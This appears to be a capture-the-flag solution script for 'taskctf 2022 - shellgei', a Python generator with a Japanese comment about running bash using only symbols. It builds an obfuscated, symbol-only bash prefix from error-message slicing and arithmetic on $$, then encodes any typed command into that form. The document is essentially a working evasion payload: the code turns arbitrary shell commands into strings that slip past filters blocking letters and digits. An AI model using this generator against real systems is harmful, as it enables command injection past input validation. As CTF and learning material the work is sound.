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December 3, 2022 16:04
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taskctf 2022 - shellgei
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| # 記号のみでbashを動かす問題 | |
| # 参考: | |
| # https://www.ryotosaito.com/blog/?p=178 | |
| # https://www.ryotosaito.com/blog/?p=194 | |
| command = input() | |
| payload = R""" | |
| __=$(($$/$$)); | |
| ___=$(($__+$__)); | |
| ____=$(.&>/???/??/$__); | |
| ____=${____##*.}; | |
| _____=$(${____:$(($___$(($$-$$))-$__)):$__}${____:$___*$___:$__}${____:$(($___$(($$-$$))-$___)):$__} -${____:$__$(($__+$___)):$__}&>/???/??/$__); | |
| _____=${_____##*${____:$(($___$(($$-$$))-$__)):$__}${____:$___*$___:$__}${____:$(($___$(($$-$$))-$___)):$__}}; | |
| _____=${_____,,}; | |
| ______=($(${____:$(($___*$___)):$__}${_____:$__$(($___*$___)):$__}${____:$(($___*$___+$___)):$__}${____:$(($___+$__)):$__} ${____:$(($___*$___)):$__}${_____:$(($___*$___*$___*$___+$__)):$__}${_____:$(($___*$___*$___-$__)):$__}${_____:$___$(($___*$___)):$__} $(${____:$(($___*$___)):$__}${_____:$(($___*$___*$___*$___+$__)):$__}${_____:$(($___*$___*$___-$__)):$__}${_____:$___$(($___*$___)):$__} -${____:$(($___*$___)):$__} "{\\${____:$__$(($___*$___)):$__}$(($___*$___+$___))$__..\\${____:$__$(($___*$___)):$__}$(($___*$___*$___-$__))${____:$__$__:$__}}"))); | |
| _______=($(${____:$(($___*$___)):$__}${_____:$__$(($___*$___)):$__}${____:$(($___*$___+$___)):$__}${____:$(($___+$__)):$__} ${____:$(($___*$___)):$__}${_____:$(($___*$___*$___*$___+$__)):$__}${_____:$(($___*$___*$___-$__)):$__}${_____:$___$(($___*$___)):$__} $(${____:$(($___*$___)):$__}${_____:$(($___*$___*$___*$___+$__)):$__}${_____:$(($___*$___*$___-$__)):$__}${_____:$___$(($___*$___)):$__} -${____:$(($___*$___)):$__} "{\\${____:$__$(($___*$___)):$__}$(($___*$___))$__..\\${____:$__$(($___*$___)):$__}$(($___*$___+$__))${____:$__$__:$__}}"))); | |
| """ | |
| def make_num(num): | |
| return "$(($$-$$" + "+$$/$$" * num + "))" | |
| for c in command: | |
| if c.isdigit(): | |
| payload += make_num(int(c)) | |
| elif c.isalpha(): | |
| payload += "${______[" + make_num(ord(c) - ord("a")) + "]}" | |
| else: | |
| payload += c | |
| print(payload.replace("\n", "").replace("\r", "")) |
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